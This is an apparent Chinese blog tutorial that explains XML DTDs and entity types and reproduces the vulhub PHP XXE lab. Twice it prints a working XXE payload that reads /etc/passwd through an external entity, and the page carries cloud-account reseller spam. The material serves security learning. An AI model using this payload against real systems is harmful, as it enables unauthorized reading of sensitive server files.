xxe漏洞浅谈以及复现_xxe漏洞复现
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
一、xxe利用部分
<?xml version="1.0" encoding="utf-8"?> ————> xml声明 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> ————> DTD部分 <user> <name>&xxe;</name> </user> ————> xml部分
我们主要利用DTD中的实体部分
1、什么是DTD呢
文档定义类型DTD1、定义元素对应下xml中的标签 2、定义实体对应xml中内容
note.dtd中包含了标签note根元素、to、from等
2、两种外部文档说明DTD
1、 当引用的DTD文件是本地文件的时候用SYSTEM标识并写上”DTD的文件路径”如下
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
2、 如果引用的DTD文件是一个公共文件时采用PUBLIC标识如下
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
3、四种实体声明
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
<!DOCTYPE foo
[ <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]> <reset> <login>&test;</login> <secret>login</secret> </reset>
上述两种均为引用实体主要在XML文档中被应用引用方式&实体名称; 末尾要带上分号这个引用将直接转变成实体内容。
3. 参数实体声明
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [ <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" > <!ENTITY xxe "%body;"> ]>
<reset>
<secret>login</secret>
</reset>
参数实体被DTD文件自身使用 引用方式为%实体名称。和通用实体一样参数实体也可以外部引用。
允许包含外部实体就可能存在XXE 攻击。
外部引用可支持httpfile等协议不同的语言支持的协议不同但存在一些通用的协议具体内容如下所示
4. 公共实体声明
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
上述如果我们可以将恶意代码放入自定实体中entities.dtd
二、复现vulhub中xxe漏洞
查看libxml版本为2.8.0
Web目录为./www
其中包含4个文件
$ tree . . ├── dom.php # 示例使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例使用simplexml_load_string函数解析body
dom.php
、SimpleXMLElement.php
、simplexml_load_string.php
均可触发XXE漏洞具体输出点请阅读这三个文件的代码。
利用payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>